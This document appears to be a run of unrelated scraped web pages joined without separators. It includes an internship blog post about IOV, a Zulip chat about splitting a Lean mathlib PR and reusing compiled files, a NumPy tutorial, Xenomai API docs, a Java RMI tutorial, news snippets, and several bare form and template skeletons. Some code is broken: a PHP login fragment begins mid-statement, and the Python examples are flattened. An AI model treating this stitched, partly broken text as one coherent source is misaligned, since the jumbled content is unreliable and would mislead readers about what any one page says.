IOV provides a universal protocol for blockchains and wallet users.
IOV solves the problem of complexity, human error and lack of interoperability when exchanging digital assets on the blockchain.
IOV provides the Blockchain Communication Protocol that enables autonomous blockchains to be accessed efficiently. Additionally, IOV provides the Blockchain Name Service, the first DNS for all participating blockchains.
What is a starname?
A starname is your universal username for the blockchain world.
It enables you to receive crypto-currencies or to log in to blockchain applications in a seamless way. Transferring value becomes fast and easy.
I am so proud to anounce that I am offered a part time internship here as software engineer Intern.
Week 1 (10 August - 14 August)
I was introduced with the team i.e. Antoine the co-founder, Dave the CTO and Iharob the core developer. I was warmly welcomed by all, was provided access to the Repositories, joined their channel.
For the first two days Iharob was kind enough to navigate me through the application and gave me a brief intoduction of what they are planning to do in the nearby future.
I was provided with a simple task to convert incoming data from API to structured data. As first, I thought this was a easy task, but then came all sort of sub-tasks like creating types, typecasting data, dividing into methods to avoid duplicate code and variable names. Thanks to Iharob, I managed to complete these tasks.
I was provided with some material by Antoine to help we getting familiar with Bitcoin, Blockchain and Cryptography. I’m gonna spend my weekend learning about it.
Week 2 (17 August - 21 August)
Yet to come.


{% include head.html %}
There is content being displayed here that your browser doesn't support. Please click here to attempt to view the information in a separate browser window. Thanks for your patience!


--- layout: archive title: Zulip Chat Archive permalink: /stream/144837-PR-reviews/topic/.23473.20limits.20and.20colimits.html ---
@Scott Morrison has taken this PR through a couple of revisions, but I think it is quite solid and stable now. I've been stress testing it quite a bit on my sheaf
branch, and I think it works well. Do others have any comments?
I don't think we should add new stuff to this PR, but people are accumulating follow-up stuff.
I think Kenny pointed out that this PR uses a lot of high automation. Are there any really expensive files in here?
maybe add a few more tidy says:
bits
@Mario Carneiro Isn't this battling in the wrong direction?
And tons of this automation is hidden in auto_params. We really don't want to see those.
yes, I realize that, and we had this conversation already with the faster
branch
The fact is that people compile mathlib often, and doubling the compile time is not a good thing
Sure, but there we didn't really rewrite much. We only expanded simp
s into simp only
s.
and here we can expand tidy
into its proof script without much work
If it is fast enough, I don't even think that is necessary, but any tactics that take more than a few seconds should probably be unrolled a bit
Ok, the limits
directory currently invokes tidy
156 times, and spends 107s inside tidy
. 34 of these invocations take more than a second each.
Only one takes more than 4.
How do you make lean --make
run single threaded?
The output from --profile
is all jumbled up, and I can't tell which output is from which declaration. :-(
-j0
, I think.
if you use --profile
, only look at the STDERR
I mean
only look at the STDOUT
I actually forgot which one to look at
even then, if two declarations are running at once, I was having their profile output interspersed
git ls-files *.lean | xargs -I % sh -c '>&2 echo %; lean --profile % >/dev/null;' > profile.txt 2>&1
this is how I use it
hmm.. even with -j0
I can't make sense of the output.
Hmm... could you show me how to run that just on a subdirectory?
Can I just change the *.lean
?
Kenny, your scripts seems to only tell me totals by file. Is that what you intended?
yes...
That's not going to help me at all.
i'll excuse myself before you realize that i don't know anything about bash :P
From what I can see, the instances of tidy
that take more than a second don't even appear in the source file, they're in auto_param
s.
/me hears a background choir chanting "We want caching! We want caching! We want caching..."
I think, until someone comes up with caching and/or faster tactic execution, I might find something more productive to do... Writing out human-irrelevant proofs for the sake of compilation times is the surest sign I've seen yet that this is all a bad idea. :-(
If you would rather have someone else do it we can postpone it until someone else gets annoyed at compile times enough to do something about it...
or until someone actually puts those caching ideas into practice
An intermediate goal which looks much easier would be to find a way to collect olean built by travis as something people could download and use right away
How portable have you found them to be?
Sebastian claims they should be portable enough
For sure I've had no problem making them on one win10 machine and using them on another
One has to make sure that the file transfer doesn't mangle the timestamps though
If I remember correctly, Sebastian said they should even work across OSs. The only things that needs care are timestamps
Who wants to try downloading https://www.math.u-psud.fr/~pmassot/mathlib.tar.gz and play with it to see whether olean can be reused? It's a freshly compiled mathlib (without the .git
directory)
This doesn't work for me, at least not in an obvious way. I unzipped and created test.lean
in the root directory. Adding import data.real.basic
starts recompiling everything.
(I'm on my Windows laptop, by the way, using msys2.)
What if you touch all olean files? (assuming touch
exists on Windows)
Doesn't seem to make a difference.
I have had success with using touch
in the past
if you touch the files then lean will accept them as correct without checking, regardless of the actual status
so you get funny errors sometimes but it usually worksish
Just the .oleans? Just the .leans? Both?
just the oleans
I tried just the .oleans and both, neither seemed to do the trick.
also the oleans have to be touched in dependency order or very fast
Um, okay, that I definitely didn't do.
find -type f -name "*.olean" -exec touch {} +
must not have been fast enough.
I think within a second should do
you can check the modification dates
alternatively, find a bashism to get the current time and set all the files to that
Still not having any luck. I've set the timestamp on all .olean files to match a random file (with a later timestamp than any of the .leans). It still starts recompiling when I import anything.
oh I see
I get a quick lean --make
this way
But with your own .oleans, right? Not with foreign ones?
yes
I've never tested anything with foreign oleans. It's hard enough to get lean to accept native ones
Unrelated to sharing olean files... I'm inclined to take this PR and split it into a logical series of commits, partly for my own understanding and partly to aid with review. Would that be helpful?
yes. Anything I can't review in one sitting gets delayed a lot more than it should
Thank you, Reid, that would be fantastic.
I just tested in my office: my olean compiled at home work perfectly here. I'm not running up to date mathlib, I can use mono
without any delay
Patrick, what steps are you doing to test it, and what OS are you using on either end?
I just tried it on my (Linux) office desktop and saw the same behavior as on my laptop last night.
I'm using Linux on all my computers. What I just did was:
cd mathlib mv .git .. cd .. rm -rf mathlib wget https://www.math.u-psud.fr/~pmassot/mathlib.tar.gz tar xf mathlib.tar.gz mv .git mathlib/
Then I opened the mathlib folder in VScode, created a scratch file at the root of mathlib, with the monotonicity examples I wrote yesterday in the "What's new" thread
Of course the .git
stuff is there only because I want to preserve my local branches and didn't want to clutter the tar.gz with them
Then I don't know what the difference is, I did effectively the same thing (without the git stuff).
Do .olean files track the version of Lean used to compile them? What versions are you using on each computer?
It works for me! I downloaded Patrick's files, and I could immediately run the mono
example from the other thread. No recompiles.
I'm on a Linux box.
The version of Lean should be enforced by the leanpkg.toml (I'm using elan)
Reid has just pushed a subset of the limits PR, which just contains the preparatory work. https://github.com/leanprover/mathlib/pull/488
Thanks, @Reid Barton, very much for doing this!
@Reid Barton, the preliminary PR was just merged. How should we handle the next chunk? I could rebase the big PR onto master, but I'm not actually sure that's useful.
@Reid Barton, do you have a moment to discuss next steps with the limits PRs?
I'm actually in the midst of going through limits.lean
Great, okay, I'll leave you to it, in that case!
currently in the phase of dualizing all my changes. It's a lot of typing...
sorry :-(
Think of it as a meditative practice.
Well, it suddenly got interesting because one of the proofs is refusing to dualize
OK, I defeated it, but a mystery for sure...
I suspect erw
uses some black magic
I made some trivial comments. Feel free to ignore them.
I squashed some double newlines into one. (Don't know if this is appreciated.)
I also think we can scrape a bunch of lemmas into namespaces, because now we have 20 lemmas after each other, that all start with limit.
.
@Scott Morrison I'm going to drop the stuff about creating limits for now, because it doesn't appear to be used currently and I found about seven definitions of "F creates limits" which I think are all inequivalent.
Sounds very reasonable. I think I followed the definition in Emily Riehl's book, but I agree it's a mess, and a mess better left until later.
isn't useful for the reflexive subcategory stuff?
Yes, but that's not in "this" PR.
This PR has conflicts, apparently. @Ramon Fernandez Mir and @Kenny Lau have constructed colimits in the category of commutative rings as part of the refactoring schemes project so I got interested in it. This PR is very large -- over 3000 lines. That's a lot of work for Mario and Johannes. Am I right in thinking that this PR is being actively tested and used by Scott, Reid and Johan? My teaching finishes in two weeks. Is there anything I can do to help?
The current plan is to chop this PR into pieces. Parts have been merged, other parts are currently being PRd.
So this PR is only around for historical reasons.
I see. Thanks. I've not been watching this category theory stuff at all because I've been extremely busy at work for the last two months. I can now see the light at the end of the tunnel though and I'm trying to work out the state of things. Would the correct thing to do to be to close this PR? Thanks for the pointer to limits-2
.
Maybe it should be closed, yes. Or at least a big fat notice that we keep it around because of the discussion on that page, but that it is actively being chopped into pieces.
I've just closed the original mega-PR.
{% endraw %}Last updated: Apr 24 2020 at 19:02 UTC


=1) { $row=mysqli_fetch_array($que); $_SESSION['uname']=$row['FNama']; header("location:home.php"); } else { echo ''; header("location:signup.html"); } } ?>
Login with your personal Miku Sushi ID below:
Sign up for your own personal Miku Sushi ID:
NEW! CLOUD BACKUP Save your Miku Sushi data in the cloud.
NEW! CLOUD SYNC Autosync Miku Sushi data between multiple computers
NEW! MANAGE YOUR STEELSERIES ID Preferences, subscriptions, shipping info and more.
NEW! INSIDER INFO Get the latest announcements, events and promotions before anyone else.
NEW! EXPEDITED SUPPORT Store product and purchase info for quick and easy support.
NEW! BETA ACCESS Elite members may be selected for advanced confidential product testing.


Favorite Band's award winning debut released in 1998.
Favorite Band's award winning album released in 1999.
Favorite Band's award winning tribute released in 2004.
Favorite Band's biggest flop released in 2005.
Favorite Band's cover album of classic French Chanson released in 2007.
Favorite Band's critically acclaimed final album to be released in 2019.


Webapp code-catalog,
@ragingwind
If you need more information? Please visit
webapp.cc
at github.com.


RT @aanand: Leaked documents have revealed that Google has been conspiring to hide the names of streets from anyone using Google Maps. “The…
10/25/2021, 5:40:24 AM
Favs: 0
Retweets: 0
link--- layout: tweet ---
RT @aanand: Leaked documents have revealed that Google has been conspiring to hide the names of streets from anyone using Google Maps. “The…
10/25/2021, 5:40:24 AM
Favs: 0
Retweets: 0
link


NumPy is the core library for scientific computing in Python. It provides a high-performance multidimensional array object, and tools for working with these arrays. It also has strong integration with Pandas, which is another powerful tool for manipulating financial data.
Python packages like NumPy and Pandas contain classes and methods which we can use by importing the package:
import numpy as np
A NumPy array is a grid of values, all of the same type, and is indexed by a tuple of nonnegative integers. Here we make an array by passing a list of Apple stock prices:
price_list = [143.73, 145.83, 143.68, 144.02, 143.5, 142.62] price_array = np.array(price_list) print price_array, type(price_array) [out]: [ 143.73 145.83 143.68 144.02 143.5 142.62] <class 'numpy.ndarray'>
Notice that the type of array is "ndarray" which is a multi-dimensional array. If we pass np.array() a list of lists, it will create a 2-dimensional array.
Ar = np.array([[1,3], [2,4]]) print Ar, type(Ar) [out]: [[1 3] [2 4]] <class 'numpy.ndarray'>
We get the dimensions of an ndarray using the .shape attribute:
print Ar.shape [out]: (2, 2)
If we create an 2-dimensional array (i.e. matrix), each row can be accessed by index:
print Ar[0] [out]: [1 3] print Ar[1] [out]: [2 4]
If we want to access the matrix by column instead:
print 'First column:', Ar[:,0] [out]: First column: [1 2] print 'Second column:', Ar[:,1] [out]: Second column: [3 4]
Some functions built in NumPy that allow us to perform calculations on arrays. For example, we can apply the natural logarithm to each element of an array:
np.log(price_array) [out]: [4.96793654 4.98244156 4.9675886 4.96995218 4.96633504 4.96018375]
Other functions return a single value:
np.mean(price_array) [out]:<PHONE_NUMBER>67 print np.std(price_array) [out]: 0.967379047852 print np.sum(price_array) [out]: 863.38 print np.max(price_array) [out]: 145.83
The functions above return the mean, standard deviation, total and maximum value of an array.


@* * This template is called from the `index` template. This template * handles the rendering of the page header and body tags. It takes * two arguments, a `String` for the title of the page and an `Html` * object to insert into the body of the page. *@ @(title: String, isLoggedIn: Boolean, userInfo: Usuario)(content: Html)
@* Here's where we render the page title `String`. *@


Create New Event
Hours: Every day from 11am - 10pm
* Each table seats a maximum of 8 players
Edit This Event
EVENT: {{ eventTitle }}
DATE: {{clickedDate}}
TIME: {{startTime}} to {{endTime}}
TABLE: {{table}}
MAX PLAYERS: {{maxPlayers}}
DESCRIPTION: {{desc}}
PLAYERS SIGNED UP FOR EVENT:


Income
Expenses
Rainy Day
Investments
Retirement
| Name of Asset | Current Market Value | Yield (%) | Projected Monthly Income ($/month) | Level of Risk | Bucket | Target Allocation (%) | Actual Allocation (%) | Drift (%) |
|---|


{{ define "content" }} Config Configuration changes are not made until the Save button is pressed at the bottom of this page. global configuration The server port dictates which TCP port the web server listens on. If you change this number you will need to restart. The Watch Interval is how often new files will be discovered by your watchers in seconds (watchers are configured below). Server port Server port Open browser on startup Open browser Watch interval Watch interval watcher configuration You may configure one or more watchers. Each watcher watches a single directory (and all subdirectories) and when a new image file is found it uploads it to the specified channel via the webhook URL. Click here for information on how to find your discord webhook URL. You may also specify a username for the bot to masquerade as. This is a cosmetic change only, and does not hide the uploaders actual identity. A watcher can be configured to hold uploads. This causes the new images seen by the watcher to be held for review on the uploads page. This allows each image to be individually uploaded or skipped. Exclusions can be specified, zero or more arbitrary strings. If any file matches one of those strings then it will not be uploaded. This is most often used if you use software (like Steam) which automatically creates thumbnails in the same directory as the screenshots. Directory to watch Directory Webhook URL WebHook URL Username Username Watermark Hold Uploads Exclusions - + Remove this watcher Add a new watcher Save all Configuration {{ end }} {{ define "js" }} {{ end }}
Configuration changes are not made until the Save button is pressed at the bottom of this page.
The server port dictates which TCP port the web server listens on. If you change this number you will need to restart.
The Watch Interval is how often new files will be discovered by your watchers in seconds (watchers are configured below).
You may configure one or more watchers. Each watcher watches a single directory (and all subdirectories) and when a new image file is found it uploads it to the specified channel via the webhook URL.
Click here for information on how to find your discord webhook URL.
You may also specify a username for the bot to masquerade as. This is a cosmetic change only, and does not hide the uploaders actual identity.
A watcher can be configured to hold uploads. This causes the new images seen by the watcher to be held for review on the uploads page. This allows each image to be individually uploaded or skipped.
Exclusions can be specified, zero or more arbitrary strings. If any file matches one of those strings then it will not be uploaded. This is most often used if you use software (like Steam) which automatically creates thumbnails in the same directory as the screenshots.


Alleged housebreaker shot dead by Waterval Boven resident
A man has been shot dead after he allegedly attacked the security officer on patrol.
by Desiré FourieWATERVAL BOVEN – An inquest has been opened following a shooting of an alleged housebreaker during a break-in at 03:00 on Saturday.
According to Brig Leonard Hlathi, a resident from Waterval Boven was woken by his son after their neighbour’s alarm sounded, and the son noticed lights turning on and off in the home, which has been empty since their neighbour passed away.
ALSO READ: Poachers take rhino battle from bush to courtroom
The resident noticed a lone security guard responding to the alarm, and decided to accompany him on the patrol of the house.
Upon entering the home, an assailant allegedly attacked the unarmed security officer with a knife and screwdriver, and was shot by the resident.
Both men have reported the shooting at the Waterval Boven Police Station.
ALSO READ: Fraud-accused former master of the High Court remanded in custody as bail hearing continues
Read more in the Tuesday edition of Lowvelder.


|
Xenomai
3.0.4
|
A set of wrappers and services easing the transition from Xenomai 2.x to 3.x. More...
| int | COMPAT__rt_task_create (RT_TASK *task, const char *name, int stksize, int prio, int mode) |
| Create a real-time task (compatibility service). More... | |
| int | COMPAT__rt_task_set_periodic (RT_TASK *task, RTIME idate, RTIME period) |
| Make a real-time task periodic (compatibility service). More... | |
| int | COMPAT__rt_alarm_create (RT_ALARM *alarm, const char *name) |
| Create an alarm object (compatibility service). More... | |
| int | rt_alarm_wait (RT_ALARM *alarm) |
| Wait for the next alarm shot (compatibility service). More... | |
| int | COMPAT__rt_event_create (RT_EVENT *event, const char *name, unsigned long ivalue, int mode) |
| Create an event flag group. More... | |
| int | COMPAT__rt_event_signal (RT_EVENT *event, unsigned long mask) |
| Signal an event. More... | |
| int | COMPAT__rt_event_clear (RT_EVENT *event, unsigned long mask, unsigned long *mask_r) |
| Clear event flags. More... | |
| int | COMPAT__rt_pipe_create (RT_PIPE *pipe, const char *name, int minor, size_t poolsize) |
| Create a message pipe. More... | |
| int | pthread_make_periodic_np (pthread_t thread, struct timespec *starttp, struct timespec *periodtp) |
| Make a thread periodic (compatibility service). More... | |
| int | pthread_wait_np (unsigned long *overruns_r) |
| Wait for the next periodic release point (compatibility service) More... | |
A set of wrappers and services easing the transition from Xenomai 2.x to 3.x.
This interface provides a source compatibility layer for building applications based on the Xenomai 2.x posix and native APIs over Xenomai 3.x.
| int COMPAT__rt_alarm_create | ( | RT_ALARM * | alarm, |
| const char * | name | ||
| ) |
Create an alarm object (compatibility service).
This routine creates an object triggering an alarm routine at a specified time in the future. Alarms can be periodic or oneshot, depending on the reload interval value passed to rt_alarm_start(). A task can wait for timeouts using the rt_alarm_wait() service.
| alarm | The address of an alarm descriptor which can be later used to identify uniquely the created object, upon success of this call. |
| name | An ASCII string standing for the symbolic name of the alarm. When non-NULL and non-empty, a copy of this string is used for indexing the created alarm into the object registry. |
| int COMPAT__rt_event_clear | ( | RT_EVENT * | event, |
| unsigned long | mask, | ||
| unsigned long * | mask_r | ||
| ) |
Clear event flags.
This call is the legacy form of the rt_event_clear() service, using a long event mask. The new form uses a regular integer to hold the event mask instead.
| event | The event descriptor. |
| mask | The set of event flags to be cleared. |
| mask_r | If non-NULL, mask_r is the address of a memory location which will receive the previous value of the event flag group before the flags are cleared. |
| int COMPAT__rt_event_create | ( | RT_EVENT * | event, |
| const char * | name, | ||
| unsigned long | ivalue, | ||
| int | mode | ||
| ) |
Create an event flag group.
This call is the legacy form of the rt_event_create() service, using a long event mask. The new form uses a regular integer to hold the event mask instead.
| event | The address of an event descriptor which can be later used to identify uniquely the created object, upon success of this call. |
| name | An ASCII string standing for the symbolic name of the event. When non-NULL and non-empty, a copy of this string is used for indexing the created event into the object registry. |
| ivalue | The initial value of the group's event mask. |
| mode | The event group creation mode. The following flags can be OR'ed into this bitmask: |
| int COMPAT__rt_event_signal | ( | RT_EVENT * | event, |
| unsigned long | mask | ||
| ) |
Signal an event.
This call is the legacy form of the rt_event_signal() service, using a long event mask. The new form uses a regular integer to hold the event mask instead.
| event | The event descriptor. |
| mask | The set of events to be posted. |
| int COMPAT__rt_pipe_create | ( | RT_PIPE * | pipe, |
| const char * | name, | ||
| int | minor, | ||
| size_t | poolsize | ||
| ) |
Create a message pipe.
This call is the legacy form of the rt_pipe_create() service, which returns a zero status upon success. The new form returns the minor number assigned to the connection instead, which is useful when P_MINOR_AUTO is specified in the call (see the discussion about the minor parameter).
This service opens a bi-directional communication channel for exchanging messages between Xenomai threads and regular Linux threads. Pipes natively preserve message boundaries, but can also be used in byte-oriented streaming mode from Xenomai to Linux.
rt_pipe_create() always returns immediately, even if no thread has opened the associated special device file yet. On the contrary, the non real-time side could block upon attempt to open the special device file until rt_pipe_create() is issued on the same pipe from a Xenomai thread, unless O_NONBLOCK was given to the open(2) system call.
| pipe | The address of a pipe descriptor which can be later used to identify uniquely the created object, upon success of this call. |
| name | An ASCII string standing for the symbolic name of the pipe. When non-NULL and non-empty, a copy of this string is used for indexing the created pipe into the object registry. |
Named pipes are supported through the use of the registry. Passing a valid name parameter when creating a message pipe causes a symbolic link to be created from /proc/xenomai/registry/rtipc/xddp/name to the associated special device (i.e. /dev/rtp*), so that the specific minor information does not need to be known from those processes for opening the proper device file. In such a case, both sides of the pipe only need to agree upon a symbolic name to refer to the same data path, which is especially useful whenever the minor number is picked up dynamically using an adaptive algorithm, such as passing P_MINOR_AUTO as minor value.
| minor | The minor number of the device associated with the pipe. Passing P_MINOR_AUTO causes the minor number to be auto-allocated. In such a case, a symbolic link will be automatically created from /proc/xenomai/registry/rtipc/xddp/name to the allocated pipe device entry. Valid minor numbers range from 0 to CONFIG_XENO_OPT_PIPE_NRDEV-1. |
| poolsize | Specifies the size of a dedicated buffer pool for the pipe. Passing 0 means that all message allocations for this pipe are performed on the Cobalt core heap. |
| int COMPAT__rt_task_create | ( | RT_TASK * | task, |
| const char * | name, | ||
| int | stksize, | ||
| int | prio, | ||
| int | mode | ||
| ) |
Create a real-time task (compatibility service).
This service creates a task with access to the full set of Xenomai real-time services.
This service creates a task with access to the full set of Xenomai real-time services. If prio is non-zero, the new task belongs to Xenomai's real-time FIFO scheduling class, aka SCHED_FIFO. If prio is zero, the task belongs to the regular SCHED_OTHER class.
Creating tasks with zero priority is useful for running non real-time processes which may invoke blocking real-time services, such as pending on a semaphore, reading from a message queue or a buffer, and so on.
Once created, the task is left dormant until it is actually started by rt_task_start().
| task | The address of a task descriptor which can be later used to identify uniquely the created object, upon success of this call. |
| name | An ASCII string standing for the symbolic name of the task. When non-NULL and non-empty, a copy of this string is used for indexing the created task into the object registry. |
| stksize | The size of the stack (in bytes) for the new task. If zero is passed, a system-dependent default size will be substituted. |
| prio | The base priority of the new task. This value must be in the [0 .. 99] range, where 0 is the lowest effective priority. |
| mode | The task creation mode. The following flags can be OR'ed into this bitmask: |
Passing T_FPU|T_CPU(1) in the mode parameter thus creates a task with FPU support enabled and which will be affine to CPU #1.
| int COMPAT__rt_task_set_periodic | ( | RT_TASK * | task, |
| RTIME | idate, | ||
| RTIME | period | ||
| ) |
Make a real-time task periodic (compatibility service).
Make a task periodic by programing its first release point and its period in the processor time line. task should then call rt_task_wait_period() to sleep until the next periodic release point in the processor timeline is reached.
| task | The task descriptor. If task is NULL, the current task is made periodic. task must belong the current process. |
| idate | The initial (absolute) date of the first release point, expressed in clock ticks (see note). If idate is equal to TM_NOW, the current system date is used. Otherwise, if task is NULL or equal to rt_task_self(), the caller is delayed until idate has elapsed. |
| period | The period of the task, expressed in clock ticks (see note). Passing TM_INFINITE stops the task's periodic timer if enabled, then returns successfully. |
| int pthread_make_periodic_np | ( | pthread_t | thread, |
| struct timespec * | starttp, | ||
| struct timespec * | periodtp | ||
| ) |
Make a thread periodic (compatibility service).
This service makes the POSIX thread periodic.
| thread | thread to arm a periodic timer for. |
| starttp | start time, expressed as an absolute value of the CLOCK_REALTIME clock. |
| periodtp | period, expressed as a time interval. |
References timer_create(), and timer_settime().
| int pthread_wait_np | ( | unsigned long * | overruns_r | ) |
Wait for the next periodic release point (compatibility service)
Delay the current thread until the next periodic release point is reached. The periodic timer should have been previously started for thread by a call to pthread_make_periodic_np().
| overruns_r | If non-NULL, overruns_r shall be a pointer to a memory location which will be written with the count of pending overruns. This value is written to only when pthread_wait_np() returns ETIMEDOUT or success. The memory location remains unmodified otherwise. If NULL, this count will not be returned. |
| int rt_alarm_wait | ( | RT_ALARM * | alarm | ) |
Wait for the next alarm shot (compatibility service).
This service allows the current task to suspend execution until the specified alarm triggers. The priority of the current task is raised above all other tasks - except those also undergoing an alarm wait.


Dashboard
Employees
Attendance
Schedules
Leaves
Reports
Users
Settings
Menu
Quick Access
Add Employee
Clock In/Out
Company
Department
Job Title
Leave Type
Demo Manager
Update User
Change Password
Switch to MyAccount
Logout
Employee Profile
Personal Infomation
First Name
Middle Name
Last Name
Gender
Select Gender
MALE
FEMALE
Select Gender
MALE
FEMALE
Civil Status
Select Civil Status
SINGLE
MARRIED
ANULLED
WIDOWED
LEGALLY SEPARATED
Select Civil Status
SINGLE
MARRIED
ANULLED
WIDOWED
LEGALLY SEPARATED
Height
(cm)
Weight
(pounds)
Email Address (Personal)
Mobile Number
Age
Date of Birth
Place of Birth
Home Address
Upload Profile photo
Employee Details
Designation
Company
Select Company
APPLE CORP
APPLE HOLDINGS CORP
APPLE GLOBAL INC
Select Company
APPLE CORP
APPLE HOLDINGS CORP
APPLE GLOBAL INC
Department
Select Department
ADMIN OFFICES
EXECUTIVE OFFICE
IT/IS
PRODUCTION
SALES
SOFTWARE ENGINEERING
HR
Select Department
ADMIN OFFICES
EXECUTIVE OFFICE
IT/IS
PRODUCTION
SALES
SOFTWARE ENGINEERING
HR
Job Title / Position
Select Job Title
ACCOUNTANT I
ADMINISTRATIVE ASSISTANT
SHARED SERVICES MANAGER
SR ACCOUNTANT
PRESIDENT & CEO
CIO
DATABASE ADMINISTRATOR
IT DIRECTOR
IT MANAGER - DB
IT MANAGER - INFRA
IT MANAGER - SUPPORT
IT SUPPORT
NETWORK ENGINEER
SR DBA
SR NETWORK ENGINEER
DIRECTOR OF OPERATIONS
PRODUCTION MANAGER
PRODUCTION MANAGER
PRODUCTION TECHNICIAN I
PRODUCTION TECHNICIAN II
AREA SALES MANAGER
DIRECTOR OF SALES
SALES MANAGER
SOFTWARE ENGINEER
SOFTWARE ENGINEERING MANAGER
BI DIRECTOR
SENIOR BI DEVELOPER
BI DEVELOPER
DATA ARCHITECH
HR MANAGER
ID Number
Email Address (Company)
Employment Information
Employment Type
Select Type
Regular
Trainee
Select Type
Regular
Trainee
Employment Status
Select Status
Active
Archived
Select Status
Active
Archived
Official Start Date
Date Regularized
Save
Cancel


# Feature flag system
## feature toggles
Feature flagging is a system to dynamically toggle features in your application based in some settings value.
The advantage of using it is to perform changes on the fly without the need to redeploy ou restart the application.
Learn more on how to design your program using Feature Flags: [http://martinfowler.com/articles/feature-toggles.html](http://martinfowler.com/articles/feature-toggles.html)
Example:
Lets say you have 2 versions of your app dashboard and you want to serve the new version only for premium users.
write flags to [redis](external_storages.html)
`
$ dynaconf write redis -s NEWDASHBOARD=true -e premiumuser
`
In your program do:
```python usertype = ‘premiumuser’ # assume you loaded it as part of your auth
# user has access to new dashboard? if settings.flag(‘newdashboard’, usertype):
activate_new_dashboard()
- else:
# User will have old dashboard if not a premiumuser activate_old_dashboard()
The value is ensured to be loaded fresh from redis server so features can be enabled or disabled at any time without the need to redeploy.
It also works with file settings but the recommended is redis as the data can be loaded once it is updated.


The server and client programs run with a security manager installed. When you run either program, you need to specify a security policy file so that the code is granted the security permissions it needs to run. Here is an example policy file to use with the server program:
grant codeBase "file:/home/ann/src/" { permission java.security.AllPermission; };
Here is an example policy file to use with the client program:
grant codeBase "file:/home/jones/src/" { permission java.security.AllPermission; };
For both example policy files, all permissions are granted to
the classes in the program's local class path, because the
local application code is trusted, but no permissions are granted to code
downloaded from other locations. Therefore, the compute engine server
restricts the tasks that it executes (whose code is not known to
be trusted and might be hostile) from performing any operations
that require security permissions. The example client's
Pi
task does not require any permissions to execute.
In this example, the policy file for the server program is
named server.policy
, and the policy file for the client
program is named client.policy
.
rmiregistry
command.
Before you execute rmiregistry
, you must make sure that
the shell or window in which you will run rmiregistry
either has no CLASSPATH
environment variable set or has a
CLASSPATH
environment variable that does not include the
path to any classes that you want downloaded to clients of your
remote objects.
To start the registry on the server, execute the
rmiregistry
command. This command produces no output and
is typically run in the background. For this example, the
registry is started on the host mycomputer
.
Microsoft Windows (use javaw
if start
is not available):
start rmiregistry
Solaris OS or Linux:
rmiregistry &
By default, the registry runs on port 1099. To start the registry on a
different port, specify the port number on the command line. Do not
forget to unset your CLASSPATH
environment variable.
Microsoft Windows:
start rmiregistry 2001
Solaris OS or Linux:
rmiregistry 2001 &
Once the registry is started, you can start the server. You need
to make sure that both the compute.jar
file and the remote
object implementation class are
in your class path.
When you start the compute engine, you need to specify, using the
java.rmi.server.codebase
property, where the server's
classes are network accessible. In this example, the server-side
classes to be made available for downloading are the
Compute
and Task
interfaces, which are
available in the compute.jar
file in the
public_html\classes
directory of user
ann
. The compute engine server is started on the host
mycomputer
, the same host on which the registry was started.
Microsoft Windows:
java -cp c:\home\ann\src;c:\home\ann\public_html\classes\compute.jar -Djava.rmi.server.codebase=file:/c:/home/ann/public_html/classes/compute.jar -Djava.rmi.server.hostname=mycomputer.example.com -Djava.security.policy=server.policy engine.ComputeEngine
Solaris OS or Linux:
java -cp /home/ann/src:/home/ann/public_html/classes/compute.jar -Djava.rmi.server.codebase=http://mycomputer/~ann/classes/compute.jar -Djava.rmi.server.hostname=mycomputer.example.com -Djava.security.policy=server.policy engine.ComputeEngine
The above java
command defines the following system properties:
java.rmi.server.codebase
property specifies the
location, a codebase URL, from which the definitions for classes
originating from this server can be
downloaded. If the codebase specifies a directory hierarchy
(as opposed to a JAR file), you must include a trailing
slash at the end of the codebase URL.
java.rmi.server.hostname
property specifies the
host name or address to put in the stubs for remote objects exported
in this Java virtual machine. This value is the host name or address used by
clients when they attempt to communicate remote method invocations.
By default, the RMI implementation uses the server's IP address as
indicated by the java.net.InetAddress.getLocalHost
API.
However, sometimes, this address is not appropriate for all clients and
a fully qualified host name would be more effective.
To ensure that RMI uses a host name (or IP address) for the
server that is routable from all potential clients,
set the java.rmi.server.hostname
property.
java.security.policy
property is used to specify
the policy file that contains the permissions you intend to grant.
Pi
class) by using the java.rmi.server.codebase
property
java.security.policy
property, which is used to specify
the security policy file that contains the permissions you intend
to grant to various pieces of code
Compute
remote
object) and the number of decimal places to use in the
calculation
Start the
client on another host (a host named mysecondcomputer
, for example) as
follows:
Microsoft Windows:
java -cp c:\home\jones\src;c:\home\jones\public_html\classes\compute.jar -Djava.rmi.server.codebase=file:/c:/home/jones/public_html/classes/ -Djava.security.policy=client.policy client.ComputePi mycomputer.example.com 45
Solaris OS or Linux:
java -cp /home/jones/src:/home/jones/public_html/classes/compute.jar -Djava.rmi.server.codebase=http://mysecondcomputer/~jones/classes/ -Djava.security.policy=client.policy client.ComputePi mycomputer.example.com 45
Note that the class path is set on the command line so that the
interpreter can find the client classes and the JAR file
containing the interfaces. Also note that the value of the
java.rmi.server.codebase
property, which specifies a
directory hierarchy, ends with a trailing slash.
After you start the client, the following output is displayed:
3.141592653589793238462643383279502884197169399
The following figure illustrates where the rmiregistry
,
the ComputeEngine
server, and the ComputePi
client obtain classes during program execution.
When the ComputeEngine
server binds its remote object
reference in the registry, the registry downloads the Compute
and Task
interfaces on which the stub class depends.
These classes are downloaded from either the
ComputeEngine
server's web server or file system,
depending on the type of codebase URL used when starting the server.
Because the ComputePi
client has both the
Compute
and the Task
interfaces available in
its class path, it loads their definitions from its class path, not from the
server's codebase.
Finally, the Pi
class is loaded into the
ComputeEngine
server's Java virtual machine when the Pi
object is passed in the executeTask
remote call to the
ComputeEngine
object. The Pi
class is loaded
by the server from either the client's web server or file system,
depending on the type of codebase URL used when starting the client.


--- layout: default ---
Layouts can have other layouts — this content comes from the home layout, but it also uses the default layout.


US is looking forward to working with elected Taiwan leader: AIT
Taiwan's democracy is a model for the region: Brent Christensen
by Matthew StrongAIT Director Brent Christensen. (CNA photo)
TAIPEI (Taiwan News) – The United States is hoping to work with the president to be elected next January, American Institute in Taiwan (AIT) Director Brent Christensen said Friday (Nov. 22).
He made the remarks in a speech which also touched on the dangers of fake news from China and on the pressure from Beijing, the CNA reported.
Christensen spoke of his belief that the people of Taiwan were able to participate in free and fair elections, but added the caution that voters needed to stay aware. The U.S. and Taiwan had cooperated on fighting the scourge of fake news by sharing information and mobilizing civil society, Washington’s representative in Taipei said.
Christensen also described Taiwan’s elections as a model for the region. He emphasized that AIT officials frequently met with important Taiwanese politicians from all sides of the political spectrum.


Working on core is hard. It takes time and motivation.
We support new contributors pretty well, but how can we motivate new (and old) contributors to step up?
Agenda
Our stories
The research
Drupal community tools
The Module Off
Tools from other communities
Call to action
